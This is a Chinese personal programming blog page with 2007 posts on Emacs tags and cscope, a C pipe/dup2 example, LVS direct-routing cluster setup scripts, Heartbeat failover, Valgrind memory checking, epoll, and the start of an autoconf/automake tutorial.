学而不思则罔,思而不学则殆

有其事必有其理, 有其理必有其事

  IT博客 :: 首页 :: 联系 :: 聚合  :: 管理
  85 Posts :: 12 Stories :: 47 Comments :: 0 Trackbacks

#

    使用tags之前要先对源代码分析建立tags文件,在代码所在目录中运行:etags -R 即可。

我常用的就这几个命令和快捷键:

M-x visit-tags-table <RET> FILE <RET>   选择tags文件
M-. [TAG] <RET> 访问标签
M-* 返回
C-u M-. 寻找标签的下一个定义

cscope用用吧。它其实是一个独立的软件,完全可以脱离vi和emacs使用。但是结合emacs的强大功能,cscope就显得更加方便了。GNU Emacs默认自带cscope的支持。在使用之前,cscope也需要对代码进行索引。在emacs中可以这样做:

C-c s a             设定初始化的目录,一般是你代码的根目录
C-s s I 对目录中的相关文件建立列表并进行索引

建完索引之后,你就可以用cscope在代码里游荡了。常用的一些命令如下:

C-c s s             序找符号
C-c s g 寻找全局的定义
C-c s c 看看指定函数被哪些函数所调用
C-c s C 看看指定函数调用了哪些函数
C-c s e 寻找正则表达式
C-c s f 寻找文件
C-c s i 看看指定的文件被哪些文件include


简单配置

;;;; CC-mode..  http://cc-mode.sourceforge.net/
(require 'cc-mode)
(c-set-offset 'inline-open 0)
(c-set-offset 'friend '-)
(c-set-offset 'substatement-open 0)


;;;;..C/C++......

(defun my-c-mode-common-hook()
  (setq tab-width 4 indent-tabs-mode nil)
  ;;; hungry-delete and auto-newline
  (c-toggle-auto-hungry-state 1)
  ;;....
  (define-key c-mode-base-map [(control \`)] 'hs-toggle-hiding)
  (define-key c-mode-base-map [(return)] 'newline-and-indent)
  (define-key c-mode-base-map [(f7)] 'compile)
  (define-key c-mode-base-map [(meta \`)] 'c-indent-command)
;;  (define-key c-mode-base-map [(tab)] 'hippie-expand)
  (define-key c-mode-base-map [(tab)] 'my-indent-or-complete)
  (define-key c-mode-base-map [(meta ?/)] 'semantic-ia-complete-symbol-menu)

 ;;.....
  (setq c-macro-shrink-window-flag t)
  (setq c-macro-preprocessor "cpp")
  (setq c-macro-cppflags " ")
  (setq c-macro-prompt-flag t)
  (setq hs-minor-mode t)
  (setq abbrev-mode t)
  (global-font-lock-mode t)
)
(add-hook 'c-mode-common-hook 'my-c-mode-common-hook)

;;;;..C++......
(defun my-c++-mode-hook()
  (setq tab-width 4 indent-tabs-mode nil)
  (c-set-style "stroustrup")
;;  (define-key c++-mode-map [f3] 'replace-regexp)
)

// 函数跳转
(require 'xcscope)
(setq cscope-do-not-update-database t)


Emacs常用命令速查

     现在我已经能够熟练使用这些命令了,基本上可以算一个初段的Emacser了,哈哈,总结一下,把这些命令打印出来贴在电脑上,不记得了再查查,从今以后尽量做到写代码和文档都用Emacs来完成.
  1)与文件操作有关的命令
  C-x C-f    查找文件并且在新缓冲区中打开
  C-x C-v    读入另一个文件替换掉用C-x C-f打开的文件
  C-x i    把文件插入到光标的当前位置
  C-x C-s    保存文件
  C-x C-w    把缓冲区内容写入一个文件
  C-x C-c    退出Emacs

  2)与光标移动操作有关的命令
  C-f     光标前移一个字符(右)
  C-b     光标后移一个字符(左)
  C-p     光标前移一行(上)
  C-n     光标后移一行(下)
  M-f     前移一个单词
  M-b     后移一个单词
  C-a     移动到行首
  C-e     移动到行尾
  M-e     前移一个句子
  M-a     后移一个句子
  M-}     前移一个段落
  M-{     后移一个段落
  C-v     屏幕上卷一屏
  M-v     屏幕下卷一屏
  C-x ]    前移一页
  C-x [    后移一页
  M-<     前移到文件头
  M->;     后移到文件尾
  C-l     重新绘制屏幕,当前行放在画面中心
  M-n 或者 C-u n  重复执行n次后续命令
  按下M-x后在辅助输入区中输入"goto-line"跳到指定的行,输入"goto-char"跳到指定的字符

  3)与文件删除操作有关的命令
  C-d     删除光标位置上的字符
  DEL     删除光标前面的字符
  M-d     删除光标后面的单词
  M-DEL    删除光标前面的单词
  C-k     从光标位置删除到行尾
  M-k     删除光标后面的句子
  C-x DEL    删除光标前面的句子
  C-y     恢复被删除的文本或者粘贴最近删除或复制的文本
  C-w     删除文件块
  按下M-x后在辅助输入区中输入"kill-paragraph"删除光标后面的段落,按下"backward-kill-paragraph"删除光标前面的段落

  4)与文本块操作有关的命令
  C-@     标记文本块的开始(或结束)位置
  C-x C-x    互换插入点和文本标记的位置
  C-w 或 SHIFT-DEL 删除文本块
  M-w     复制文本块
  M-h     标记段落
  C-x C-p    标记页面
  C-x h    标记整个缓冲区

  5)与位置交换操作有关的命令
  C-t     交换两个字符的位置
  M-t     交换两个单词的位置
  C-x C-t    交换两个文本行的位置
  按下M-x后在辅助输入区中输入"transpose-sentences"交换两个句子的位置,按下"transpose-paragraph"交换两个段落的位置

  6)与改变字母大小写操作有关的命令
  M-c     单词首字母改为大写
  M-u     单词的字母全部改为大写
  M-l     单词的字母全部改为小写

  7)与查找操作相关的命令
  C-s     向前递增查找
  C-r     向后递增查找
  C-s C-w    开始递增查找,把光标位置的单词做查找字符串
  C-s C-y    开始递增查找,把光标位置到行尾之间的文本做查找字符串
  C-s return searchstring return  向前开始非递增查找操作
  C-r return searchstring return  向后开始非递增查找操作
  C-s return C-w  向前开始单词查找(不受换行符、空格、标点符号影响)
  C-r return C-w  向后开始单词查找(不受换行符、空格、标点符号影响)

  8) 与使用编辑缓冲区和窗口有关的命令
  C-x b    如果输入一个新的文件名则新建一个文件并且编辑,否则打开该文件
  C-x s    保存全部缓冲区
  C-x b    删除缓冲区
  M-x rename-buffer 重命名当前缓冲区
  C-x C-q    把当前编辑缓冲区设置为只读属性
  C-x 0    删除当前所在的窗口
  C-x 1    当前缓冲区满屏显示
  C-x 2    创建上下排列的窗口
  C-x 3    创建左右排列的窗口
  C-x o    在窗口之间移动



posted @ 2007-05-30 15:52 易道 阅读(1052) | 评论 (0)编辑 收藏

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>


int main()
{
#define RECV_BUF    1024
    int fd[2] ;
    char _recv_buf[RECV_BUF    ] ;   
    memset(_recv_buf,0, RECV_BUF    ) ;

    if(pipe(fd))    
    {
        return -1 ;
    }
  
  将输出于写管道建立关联, system的屏幕输出到fd[1],  ,可以在fd[0] 读取数据 
    close(1) ;
    dup2(fd[1] ,1) ;  
    close(fd[1]) ;


    //sed -n '/eth0/p' /proc/net/dev | awk '{print $1, $2}' | sed -n 's/eth0://p
    // mpstat | sed -n '$p'| awk '{print $9}'



    system("sed -n '1,2p' /proc/meminfo  |awk '{print $2} '") ;
    // 从读管道读入数据 
    read(fd[0], _recv_buf, RECV_BUF);   

    // 显示 到屏幕 
    write(2 ,  _recv_buf, strlen(_recv_buf)) ; 
   
    // 关闭读 管道
    close(fd[0]) ;   


    return 0 ;
}

posted @ 2007-05-29 17:43 易道 阅读(714) | 评论 (0)编辑 收藏

Centos4.3   安装DR模式Lvs集群

 

1. 环境描述:本文在配置LVS时使用三台linux (Centos),一台做Directorserver(192.168.200.72) ,两台做 realserver(192.168.200.70 , 192.168.200.71) ,对外虚拟VIP:192.168.200.73 

 

2.  软件列表:2.6内核已经集成IPVS内核补订了,所以不再需要重新编译内核.

 

3.  DS安装lvs的管理软件 ipvsadm 

              利用centos的yum命令, 能自动的从他的镜像网站搜索软件,下载并安装。

              yum install ipvsadm

              Setting up Install Process

Setting up repositories

update                    100% |=========================|  951 B    00:00    

base                      100% |=========================| 1.1 kB    00:00     

addons                    100% |=========================|  951 B    00:00    

extras                    100% |=========================| 1.1 kB    00:00    

Reading repository metadata in from local files

Parsing package install arguments

Resolving Dependencies

--> Populating transaction set with selected packages. Please wait.

---> Downloading header for ipvsadm to pack into transaction set.

ipvsadm-1.24-6.i386.rpm   100% |=========================| 5.8 kB    00:00    

---> Package ipvsadm.i386 0:1.24-6 set to be updated

--> Running transaction check

Dependencies Resolved

=============================================================================

 Package                 Arch       Version          Repository        Size

=============================================================================

Installing:

 ipvsadm                 i386       1.24-6           extras             30 k

Transaction Summary

=============================================================================

Install      1 Package(s)        

Update       0 Package(s)        

Remove       0 Package(s)        

Total download size: 30 k

Is this ok [y/N]:选择 Y

Downloading Packages:

(1/1): ipvsadm-1.24-6.i38 100% |=========================|  30 kB    00:01    

Running Transaction Test

Finished Transaction Test

Transaction Test Succeeded

Running Transaction

  Installing: ipvsadm                      ######################### [1/1]

Installed: ipvsadm.i386 0:1.24-6

 

4           前端调度器 在 DR 模式下的配置脚本

 

              #/bin/sh

#file: config_vs.sh 这里默认使用网卡eth0,如果想用其它网卡请自行替换即可。

VIP=192.168.200.73   #DR的虚拟服务IP

DIP=192.168.200.72   #DR的eth0真实地址

RS1=192.168.200.71   #real server1的真实地址

RS2=192.168.200.70   #real server2的真实地址

GW=192.168.200.1    #DR使用的网关或路由的地址

SERVICE=80            #web服务的端口

SERVICE_UDP= 800    #UDP 服务程序的端口

 

cat /proc/sys/net/ipv4/ip_forward   #脚本调试信息

echo "1" >/proc/sys/net/ipv4/ip_forward

echo "1" >/proc/sys/net/ipv4/conf/all/send_redirects   

cat /proc/sys/net/ipv4/conf/all/send_redirects        #脚本调试信息

echo "1" >/proc/sys/net/ipv4/conf/default/send_redirects

cat /proc/sys/net/ipv4/conf/default/send_redirects     #脚本调试信息

echo "1" >/proc/sys/net/ipv4/conf/eth0/send_redirects

cat /proc/sys/net/ipv4/conf/eth0/send_redirects       #脚本调试信息

 

/sbin/ifconfig eth0 ${DIP}     #配置所使用的网卡IP

#配置虚拟服务IP

/sbin/ifconfig eth0:0 ${VIP} broadcast ${VIP} netmask 255.255.255.255

/sbin/route add -host ${VIP} dev eth0:0   #添加虚拟IP的路由

/sbin/route add default gw ${GW}       #添加本地路由

/sbin/ifconfig eth0:0                  #脚本调试信息, 显示虚拟IP配置

#/bin/ping -b ${VIP}                 #脚本调试信息, 看看虚拟IP是否可以ping通

/sbin/route -n                        #脚本调试信息,显示路由信息

 

/sbin/ipvsadm –C                    #清除虚拟服务器表,也就是清除IPVS的原配置

#添加服务及轮调调度算法,-t:tcp服务,-A:添加服务; -s rr:指定调度算法为轮调

/sbin/ipvsadm -A -t ${VIP}:${SERVICE} -s rr  -p 600

#添加real server, -a:添加一台RS, -t:tcp服务,-r: RS的地址,-g:直接路由模式。

#这里语句个数随real server的个数而定

/sbin/ipvsadm -a -t ${VIP}:${SERVICE} -r ${RS1} -g

/sbin/ipvsadm -a -t ${VIP}:${SERVICE} -r ${RS2} –g

 

/sbin/ipvsadm -A –u  ${VIP}:${ SERVICE_UDP } -s rr  –p 600

/sbin/ipvsadm -a –u  ${VIP}:${ SERVICE_UDP } -r ${RS1} -g

/sbin/ipvsadm -a –u   ${VIP}:${ SERVICE_UDP } -r ${RS2} –g

 

 

ping -c 1 ${RS1}    #脚本调试信息

ping -c 1 ${RS2}    #脚本调试信息

/sbin/ipvsadm       #脚本调试信息

#end of config_vs.sh

 

5           后台节点 在 DR 模式下的配置脚本

                      #/bin/sh

#file: config_rs.sh这里默认使用网卡eth0,如果想用其它网卡请自行替换即可。

VIP=192.168.200.73       #DR的虚拟服务IP

#DR的eth0真实地址,作用是在配置时测试DR的IP是否有效。但是DR切换后,DIP变了,所以这项取消了。

LOCALIP=192.168.200.71  #real server1的真实地址

GW=192.168.200.1         #real server使用的网关或路由的地址

/sbin/ifconfig eth0 ${LOCALIP} #配置eth0的本地IP

/sbin/route add default gw ${GW} #添加默认路由

/bin/netstat -rn #脚本调试信息

ping -c 1 ${GW} #脚本调试信息,是否可以ping通网关

echo "0" >/proc/sys/net/ipv4/ip_forward

cat /proc/sys/net/ipv4/ip_forward #脚本调试信息,ip_forward是否配置正确

ping -c 1 ${DIP} #脚本调试信息, 是否可以ping通DR的真实地址

ping –c 1 ${VIP} #是否可以ping通虚拟DR的IP

#按照real server的虚拟IP

/sbin/ifconfig lo:0 ${VIP} broadcast ${VIP} netmask 0xffffffff up

#配置出口

/sbin/ifconfig lo:0

#在lo:0上添加去虚拟IP的路由

/sbin/route add -host ${VIP} dev lo:0

/bin/netstat -rn #脚本调试信息

#使realserver不响应arp请求,

echo "1" >/proc/sys/net/ipv4/conf/lo/arp_ignore
echo "2" >/proc/sys/net/ipv4/conf/lo/arp_announce
echo "1" >/proc/sys/net/ipv4/conf/all/arp_ignore
echo "2" >/proc/sys/net/ipv4/conf/all/arp_announce 
sysctl -p

#end of config_rs.sh

 

6   测试:分别启动realserver上的httpd服务
在realserver1 执行  echo "This is realserver1"  /var/www/html/index.html
在realserver2 执行  echo "This is realserver2"  /var/www/html/index.html

打开IE浏览器输入http://192.168.200.73 应该可以分别看到:This is realserver1 和 This is realserver1.


posted @ 2007-05-16 14:14 易道 阅读(906) | 评论 (0)编辑 收藏

http://zh.linuxvirtualserver.org/node/551

在LVS/DR下real ser上的udp程序回复udp包的源地址是real ser的真是IP,为什么不是vip?

我找到简单的方法了,就是在服务端的程序绑定上vip, 就可以了.. 呵呵

看看 LVS-DR UDP Service probem
http://archive.linuxvirtualserver.org/html/lvs-users/2004-08/msg00112.html



posted @ 2007-05-16 11:51 易道 阅读(1273) | 评论 (0)编辑 收藏

Linux Enterprise Cluster选译

http://aoqingy.spaces.live.com/

高有效性系统没有单故障点。所谓的单故障点是指某个系统构件,它的故障会导致整个系统瘫痪。

Heartbeat的工作原理是:你告诉Heartbeat哪台计算机(即主服务器,primary server)拥有特定资源,另一台计算机将自动成为备份服务器(backup server)。然后配置运行在备份服务器上的Heartbeat进程,让它监听来自主服务器的“心博”。如果备份服务器没有听到主服务器的心博,就启动 失败接管,即接管资源的所有权。

运行在备份服务器上的Heartbeat程序可以通过正常的以太网连接检查来自主服务器的心博。但是通常在两台服务器之间将Heartbeat配置成工作于独立的物理连接。这个独立的物理连接可以是串口线,或者另一个以太网连接(通过交叉线或者集线器)。

Heartbeat可以使用一个或多个这样的物理连接。只要有任何一个物理连接上接收到心博,就认为主节点是活动的。高有效性的最佳实践表明应该在多个相互独立的通信路径上传送心博,这有助于防止通信路径成为单故障点。

  • 串口连接要比以太网连接更加安全,但是,串口线非常短,两台服务器必须靠得很近,常常放在同一个计算机间。
  • 使用一个新的以太网络(或以太交叉线)消除了服务器之间的距离限制。事实上,交叉线要比小型集线器更简便,也更可靠,因为前者不需要外部电源。

使用两个物理路径连接主服务器和备份服务器提供了heartbeat控制信息的冗余度,这是非单故障点配置的需要。服务器之间使用的两个物理路径并不需要是同一种类型,在一种配置中可以将以太网连接和串口线连接放在一起使用。

两个物理连接可以防止由于网络或连接线故障导致的情形,这时两个节点都试图拥有同一资源的所有权。这种情况被称为裂脑(split-brain)。为了避免裂脑,通常采取下面的预防措施:

  • 在heartbeat节点之间采用冗余、可靠的物理连接(最好同时使用串口线连接和以太网连接)以传送心博控制消息。
  • 第二种措施被称为“shoot the other node in the head”,缩写为STONITH。使用特别的硬件设备可以通过(串口线或网线发送)软件命令切断节点电源。

通常来说,客户机知道提供它们所需资源的服务器的名字(例如mail.mydomain.com或www.mydomain.com),它们使用域名系统(DNS)来查询服务器的IP地址。在Internet或WAN上路由报文时,IP地址被转换为物理网卡地址,即Media Access Control(MAC)地址。

这时,路由器或本地连接的客户机使用地址解析协议(ARP)发出询问:“Who owns this IP address?”。在接收到使用这个IP地址的计算机的响应后,路由器或本地计算机将IP地址和对应的MAC地址加到内存中所谓的ARP表中,这样就无 须在每次用到这个IP地址时进行询问。一段时间后,大多数计算机都会让未用到的ARP表项过期,保证内存中没有保存未使用(或不精确)的地址。

为了将资源(服务、进程以及相关的IP地址)从一台计算机迁移到另一台计算机,我们需要将IP地址从主服务器迁移到备份服务器。

Heartbeat常使用的方法被称为IP地址接管(有时记为IPAT)。为了实现IPAT,Heartbeat用到从IP地址(在旧版本的Linux内核中称为IP别名)和Gratuitous ARP广播。

前面已经提到,客户机通常使用地址解析协议(ARP)来确认哪个硬件地址拥有特定IP地址,并保存在ARP表中。在主服务器故障时, Heartbeat程序使用一点小窍门,称为无故ARP(Gratuitous ARP,GARP)广播,来强制修改这些客户机的ARP表,替换成新的硬件(MAC)地址,从而使客户机能够和备份服务器进行会话。

GARP广播是sneaky ARP广播(broadcasts, remember, are only seen by locally connected nodes)。GARP广播询问每个连接在网络上的节点,“Who owns this IP address?”。实际上,这时的ARP请求报文头中的源(回复)IP地址等于要请求的IP地址。这样强制连接到网络的所有节点将ARP表项更换成新的 源地址。

在Heartbeat控制之下的所有脚本称为资源脚本。Heartbeat应该总是可以向资源脚本传递start和stop参数来启动和 停止资源。Heartbeat还应该了解哪台计算机拥有资源。如果计算机拥有资源,则以status参数运行脚本时,返回OK、Running或 running;否则可以返回DOWN或STOPPED。

Stonith,或者称为“shoot the other node in the head”,(在某些其它的高有效性解决方案中,将这称为Stomith,或者是“shoot the other machine in the head”。)是Heartbeat包的一个组件,允许系统用连接到健在服务器的一个远程或“智能”电源设备自动复位故障服务器的电源。Stonith设 备可以响应软件命令,切断服务器的电源。在高有效性系统中的一个服务器通过串口线或网线连接到这种设备,服务器上运行Heartbeat,可以控制另一台 服务器的电源供应。换句话说,主服务器可以复位备份服务器的电源,备份服务器也可以复位主服务器的电源。通过复位电源强制让主服务器重启是一种残酷的手 段,但确实是避免裂脑的最安全方式。

Stonith时间发生在备份服务器没有接收到心博信号时:

  • 备份服务器发送一个Stonith复位命令到Stonith设备。
  • Stonith设备切断主服务器的电源供应。
  • 一旦主服务器的电源被切断,它就不再能够访问集群资源,也不能透过网络向客户机提供资源。这保证客户机不能访问主服务器上的资源,从而消除了裂脑的可能性。
  • 备份服务器然后获取主服务器的资源。Heartbeat带start参数运行合适的资源脚本,同时进行Gratuitous ARP广播,这样客户机客户机开始将请求发送到备份服务器的网络接口卡。
  • 一旦主服务器完成重启,它将尝试要求备份服务器放弃资源的所有权,重新收回它们,除非两个服务器都禁用了auto_failback功能。

即使做了这么多工作,我们还没有完全消除两台服务器的Heartbeat设计中的单故障点。例如,如果只是主服务器失去了和客户机在生成网络上的连接呢?

这时,即便Heartbeat配置一切完好,心博信号会继续传送到备份服务器,不需要发生失败接管。然后,客户机确无法访问主服务器上的资源进程(集群资源)。

我们可以用两种方式来解决这个问题:

  • 在主服务器上运行一个外部的监视包,例如Perl程序Mon,并观察公共NIC上的故障情况。如果检测到这个NIC的故障,它应该杀死主服务器上的Heartbeat进程(或者强制让服务器转入standby模式)。备份服务器然后会接管资源。
  • 使用ipfail API插件,该插件在Heartbeat配置文件中指定一个或多个ping服务器。如果主服务器突然无法ping通其中的一个服务器,它就问备份服务器: “Did you see that ping server go down too?”如果备份服务器还能够ping到这个服务器,则备份服务器知道主服务器的网络通信不正常了,它就应该接管资源的所有权。

posted @ 2007-04-24 16:42 易道 阅读(553) | 评论 (0)编辑 收藏


  Valgrind 是在linux系统下开发应用程序时用于调试内存问题的工具。它尤其擅长发现内存管理的问题,它可以检查程序运行时的内存泄漏问题。

   它的官方网址是 http://www.valgrind.org/

   下载最新版本的Valgrind,目前是3.2.0。 wget http://www.valgrind.org/downloads/valkyrie-1.2.0.tar.bz2

   执行常规的安装步骤:./confgure && make && make install。注意: 系统必须安装QT的开发包。即便这样在make 时还是出现qplatformdefs.h这个文件找不到的情况,导致make失败。查找系统中的qplatformdefs.h 之后,发现没有存在于qt的标准头文件目录/usr/lib/qt-3.3/include。如是将/usr/lib/qt- 3.3/mkspecs/linux-g++/ 目录下该头文件复制标准头文件目录,重新make ,后面一切OK。

初次使用
    编译如下代码:  gcc -Wall example.c -g -o example 

#include <stdlib.h>

void f(void)
{
int* x = malloc(10 * sizeof(int));
x[10] = 0; // problem 1: heap block overrun
} // problem 2: memory leak -- x not freed

int main(void)
{
f();
return 0;
}

     注意:gcc 的-g 选项让Valgrind调试输出时指出相应信息的代码所在的行号。

 
valgrind --tool=memcheck --leak-check=yes ./example

==6742== Memcheck, a memory error detector for x86-linux.
==6742== Copyright (C) 2002-2004, and GNU GPL'd, by Julian Seward et al.
==6742== Using valgrind-2.2.0, a program supervision framework for x86-linux.
==6742== Copyright (C) 2000-2004, and GNU GPL'd, by Julian Seward et al.
==6742== For more details, rerun with: -v
==6742==
==6742== Invalid write of size 4
==6742==    at 0x8048384: f (example.c:6)
==6742==    by 0x80483AC: main (example.c:12)
==6742==  Address 0x1B908050 is 0 bytes after a block of size 40 alloc'd
==6742==    at 0x1B904984: malloc (vg_replace_malloc.c:131)
==6742==    by 0x8048377: f (example.c:5)
==6742==    by 0x80483AC: main (example.c:12)
==6742==
==6742== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 12 from 1)
==6742== malloc/free: in use at exit: 40 bytes in 1 blocks.
==6742== malloc/free: 1 allocs, 0 frees, 40 bytes allocated.
==6742== For counts of detected errors, rerun with: -v
==6742== searching for pointers to 1 not-freed blocks.
==6742== checked 1360800 bytes.
==6742==
==6742==
==6742== 40 bytes in 1 blocks are definitely lost in loss record 1 of 1
==6742==    at 0x1B904984: malloc (vg_replace_malloc.c:131)
==6742==    by 0x8048377: f (example.c:5)
==6742==    by 0x80483AC: main (example.c:12)
==6742==
==6742== LEAK SUMMARY:
==6742==    definitely lost: 40 bytes in 1 blocks.
==6742==    possibly lost:   0 bytes in 0 blocks.
==6742==    still reachable: 0 bytes in 0 blocks.
==6742==         suppressed: 0 bytes in 0 blocks.
==6742== Reachable blocks (those to which a pointer was found) are not shown.
==6742== To see them, rerun with: --show-reachable=yes

   上面的C程序存在两个错误:1. 数组下标越界;2. 分配的内存没有释放,存在内存泄露的问题。对于错误1,看Valgrind的调试信息片断
==6742== Invalid write of size 4
==6742==    at 0x8048384: f (example.c:6)
==6742==    by 0x80483AC: main (example.c:12)
==6742==  Address 0x1B908050 is 0 bytes after a block of size 40 alloc'd
==6742==    at 0x1B904984: malloc (vg_replace_malloc.c:131)
==6742==    by 0x8048377: f (example.c:5)

对于错误2,看这个

==6742== malloc/free: 1 allocs, 0 frees, 40 bytes allocated.

......

==6742== 40 bytes in 1 blocks are definitely lost in loss record 1 of 1
==6742==    at 0x1B904984: malloc (vg_replace_malloc.c:131)
==6742==    by 0x8048377: f (example.c:5)
==6742==    by 0x80483AC: main (example.c:12)

 

 相关链接:

   http://www.valgrind.org/docs/manual/quick-start.html

   http://www-128.ibm.com/developerworks/cn/linux/l-pow-debug/

 

posted @ 2007-04-20 17:58 易道 阅读(1859) | 评论 (0)编辑 收藏

inux 2.6内核中提高网络I/O性能的新方法-epoll
2007-04-11 18:52

前一阵和同事讨论监控的时候,有同事提出用epool的方式管理线程,为了增长知识查找了一下资料:

1、为什么select是落后的?
首先,在Linux内核中,select所用到的FD_SET是有限的,即内核中有个参数__FD_SETSIZE定义了每个FD_SET的句柄个数,在我用的2.6.15-25-386内核中,该值是1024,搜索内核源代码得到:
include/linux/posix_types.h:#define __FD_SETSIZE         1024
也就是说,如果想要同时检测1025个句柄的可读状态是不可能用select实现的。或者同时检测1025个句柄的可写状态也是不可能的。
其次,内核中实现select是用轮询方法,即每次检测都会遍历所有FD_SET中的句柄,显然,select函数执行时间与FD_SET中的句柄个数有一个比例关系,即select要检测的句柄数越多就会越费时。
当然,在前文中我并没有提及poll方法,事实上用select的朋友一定也试过poll,我个人觉得select和poll大同小异,个人偏好于用select而已。

2、2.6内核中提高I/O性能的新方法epoll

epoll是什么?按照man手册的说法:是为处理大批量句柄而作了改进的poll。要使用epoll只需要这三个系统调用:epoll_create(2), epoll_ctl(2), epoll_wait(2)。
当然,这不是2.6内核才有的,它是在2.5.44内核中被引进的(epoll(4) is a new API introduced in Linux kernel 2.5.44)

epoll的优点

<1>支持一个进程打开大数目的socket描述符(FD)

select 最不能忍受的是一个进程所打开的FD是有一定限制的,由FD_SETSIZE设置,默认值是2048。对于那些需要支持的上万连接数目的IM服务器来说显 然太少了。这时候你一是可以选择修改这个宏然后重新编译内核,不过资料也同时指出这样会带来网络效率的下降,二是可以选择多进程的解决方案(传统的 Apache方案),不过虽然linux上面创建进程的代价比较小,但仍旧是不可忽视的,加上进程间数据同步远比不上线程间同步的高效,所以也不是一种完 美的方案。不过 epoll则没有这个限制,它所支持的FD上限是最大可以打开文件的数目,这个数字一般远大于2048,举个例子,在1GB内存的机器上大约是10万左 右,具体数目可以cat /proc/sys/fs/file-max察看,一般来说这个数目和系统内存关系很大。

<2>IO效率不随FD数目增加而线性下降

传统的select/poll另一个致命弱点就是当你拥有一个很大的socket集合,不过由于网络延时,任一时间只有部分的socket是"活跃 "的,但是select/poll每次调用都会线性扫描全部的集合,导致效率呈现线性下降。但是epoll不存在这个问题,它只会对"活跃"的 socket进行操作---这是因为在内核实现中epoll是根据每个fd上面的callback函数实现的。那么,只有"活跃"的socket才会主动 的去调用 callback函数,其他idle状态socket则不会,在这点上,epoll实现了一个"伪"AIO,因为这时候推动力在os内核。在一些 benchmark中,如果所有的socket基本上都是活跃的---比如一个高速LAN环境,epoll并不比select/poll有什么效率,相 反,如果过多使用epoll_ctl,效率相比还有稍微的下降。但是一旦使用idle connections模拟WAN环境,epoll的效率就远在select/poll之上了。

<3>使用mmap加速内核与用户空间的消息传递。

这点实际上涉及到epoll的具体实现了。无论是select,poll还是epoll都需要内核把FD消息通知给用户空间,如何避免不必要的内存 拷贝就很重要,在这点上,epoll是通过内核于用户空间mmap同一块内存实现的。而如果你想我一样从2.5内核就关注epoll的话,一定不会忘记手 工 mmap这一步的。

<4>内核微调

这一点其实不算epoll的优点了,而是整个linux平台的优点。也许你可以怀疑linux平台,但是你无法回避linux平台赋予你微调内核的 能力。比如,内核TCP/IP协议栈使用内存池管理sk_buff结构,那么可以在运行时期动态调整这个内存pool(skb_head_pool)的大 小--- 通过echo XXXX>/proc/sys/net/core/hot_list_length完成。再比如listen函数的第2个参数(TCP完成3次握手 的数据包队列长度),也可以根据你平台内存大小动态调整。更甚至在一个数据包面数目巨大但同时每个数据包本身大小却很小的特殊系统上尝试最新的NAPI网 卡驱动架构。

epoll的使用

令人高兴的是,2.6内核的epoll比其2.5开发版本的/dev/epoll简洁了许多,所以,大部分情况下,强大的东西往往是简单的。唯一有点麻烦是epoll有2种工作方式:LT和ET。

LT(level triggered)是缺省的工作方式,并且同时支持block和no-block socket.在这种做法中,内核告诉你一个文件描述符是否就绪了,然后你可以对这个就绪的fd进行IO操作。如果你不作任何操作,内核还是会继续通知你 的,所以,这种模式编程出错误可能性要小一点。传统的select/poll都是这种模型的代表.

ET (edge-triggered)是高速工作方式,只支持no-block socket。在这种模式下,当描述符从未就绪变为就绪时,内核通过epoll告诉你。然后它会假设你知道文件描述符已经就绪,并且不会再为那个文件描述 符发送更多的就绪通知,直到你做了某些操作导致那个文件描述符不再为就绪状态了(比如,你在发送,接收或者接收请求,或者发送接收的数据少于一定量时导致 了一个EWOULDBLOCK 错误)。但是请注意,如果一直不对这个fd作IO操作(从而导致它再次变成未就绪),内核不会发送更多的通知(only once),不过在TCP协议中,ET模式的加速效用仍需要更多的benchmark确认。

epoll只有epoll_create,epoll_ctl,epoll_wait 3个系统调用,具体用法请参考http://www.xmailserver.org/linux-patches/nio-improve.html
http://www.kegel.com/rn/也有一个完整的例子,大家一看就知道如何使用了

Leader/follower模式线程pool实现,以及和epoll的配合 

posted @ 2007-04-18 16:36 易道 阅读(1791) | 评论 (0)编辑 收藏

文档选项

未显示需要 JavaScript 的文档选项

将此页作为电子邮件发送

将此页作为电子邮件发送

样例代码


拓展 Tomcat 应用

下载 IBM 开源 J2EE 应用服务器 WAS CE 新版本 V1.1


级别: 初级

杨 小华 (normalnotebook@126.com), Linux 内核研究员
苏 春艳, 在读研究生

2006 年 9 月 21 日

本文介绍了在 linux 系统中,通过 Gnu autoconf 和 automake 生成 Makefile 的方法。主要探讨了生成 Makefile 的来龙去脉及其机理,接着详细介绍了配置 Configure.in 的方法及其规则。

引子

无论是在Linux还是在Unix环境中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到 make或 make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以轻而易举的理顺各个源文件之间纷繁复杂的相互关系。

但是如果通过查阅make的帮助文档来手工编写Makefile,对任何程序员都是一场挑战。幸而有GNU 提供的Autoconf及Automake这两套工具使得编写makefile不再是一个难题。

本文将介绍如何利用 GNU Autoconf 及 Automake 这两套工具来协助我们自动产生 Makefile文件,并且让开发出来的软件可以像大多数源码包那样,只需"./configure", "make","make install" 就可以把程序安装到系统中。





回页首


模拟需求

假设源文件按如下目录存放,如图1所示,运用autoconf和automake生成makefile文件。


图 1文件目录结构
图 1文件目录结构

假设src是我们源文件目录,include目录存放其他库的头文件,lib目录存放用到的库文件,然后开始按模块存放,每个模块都有一个对应的目 录,模块下再分子模块,如apple、orange。每个子目录下又分core,include,shell三个目录,其中core和shell目录存 放.c文件,include的存放.h文件,其他类似。

样例程序功能:基于多线程的数据读写保护(联系作者获取整个autoconf和automake生成的Makefile工程和源码,E-mail:normalnotebook@126.com)。





回页首


工具简介

所必须的软件:autoconf/automake/m4/perl/libtool(其中libtool非必须)。

autoconf是一个用于生成可以自动地配置软件源码包,用以适应多种UNIX类系统的shell脚本工具,其中autoconf需要用到 m4,便于生成脚本。automake是一个从Makefile.am文件自动生成Makefile.in的工具。为了生成Makefile.in, automake还需用到perl,由于automake创建的发布完全遵循GNU标准,所以在创建中不需要perl。libtool是一款方便生成各种 程序库的工具。

目前automake支持三种目录层次:flat、shallow和deep。

1) flat指的是所有文件都位于同一个目录中。

就是所有源文件、头文件以及其他库文件都位于当前目录中,且没有子目录。Termutils就是这一类。

2) shallow指的是主要的源代码都储存在顶层目录,其他各个部分则储存在子目录中。

就是主要源文件在当前目录中,而其它一些实现各部分功能的源文件位于各自不同的目录。automake本身就是这一类。

3) deep指的是所有源代码都被储存在子目录中;顶层目录主要包含配置信息。

